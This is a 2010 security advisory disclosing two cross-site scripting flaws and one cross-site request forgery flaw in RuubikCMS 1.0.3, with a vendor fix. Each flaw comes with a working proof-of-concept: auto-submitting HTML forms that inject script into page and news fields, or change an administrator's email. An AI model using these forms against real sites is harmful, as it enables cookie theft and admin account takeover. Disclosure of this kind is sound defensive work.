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Multiple Vulnerabilities in RuubikCMS

Advisory ID:HTB22380
Product:RuubikCMS
Vendor:Piuha
Vulnerable Versions:1.0.3 and probably prior
Tested Version:1.0.3
Advisory Publication:May 10, 2010 [without technical details]
Vendor Notification:May 10, 2010
Public Disclosure:May 24, 2010
Latest Update:May 25, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in RuubikCMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in RuubikCMS
1.1 The vulnerability exists due to input sanitation error in the "pagelink" parameter in ruubikcms/cms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires victim to be a member of the "Publishers" role.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/index.php?p=home" method="post" name="main" >
<input type="hidden" name="save" value="1" />
<input type="hidden" name="ordernum" value="1" />
<input type="hidden" name="name" value="Home" />
<input type="hidden" name="header1" value="Home" />
<input type="hidden" name="pageurl" value="home" />
<input type="hidden" name="pagelink" value="%2Findex.php%2Fhome" />
<input type="hidden" name="mother_hidden" value="" />
<input type="hidden" name="creator" value="admin" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="description" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="extracode" value="" />
<input type="hidden" name="picfile1" value="" />
<input type="hidden" name="picfile2" value="" />
<input type="hidden" name="tinyMCE" value="page content here..." />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "shorttext" parameter in ruubikcms/cms/news.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires victim to be a member of the "Publishers" role.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/news.php?y=2009&id=60" method="post" name="main" >
<input type="hidden" name="save" value="1" />
<input type="hidden" name="ordernum" value="" />
<input type="hidden" name="title" value="News Title" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="time" value="2009-07-18" />
<input type="hidden" name="shorttext" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="linktopage" value="" />
<input type="hidden" name="tinyMCE" value="news content here..." />
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) in RuubikCMS
The vulnerability exists due to insufficient validation of the request origin in ruubikcms/cms/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s email address.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/users.php?role=3&p=user_name" method="post">
<input type="hidden" name="save" value="1" >
<input type="hidden" name="ordernum" value="" >
<input type="hidden" name="username_hidden" value="user_name" >
<input type="hidden" name="password" value="" >
<input type="hidden" name="confirmpassword" value="" >
<input type="hidden" name="role" value="5" >
<input type="hidden" name="firstname" value="" >
<input type="hidden" name="lastname" value="" >
<input type="hidden" name="email" value="email@example.com" >
<input type="hidden" name="phone" value="" >
</form>
<script>
document.forms[0].submit()
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to version 1.1.1


References:
[1] High-Tech Bridge Advisory HTB22380 - https://www.htbridge.com/advisory/HTB22380 - Multiple Vulnerabilities in RuubikCMS
[2] RuubikCMS - http://www.ruubikcms.com - RuubikCMS is an open source website content management tool which is designed to be user-friendly for both the end-user and the webmaster.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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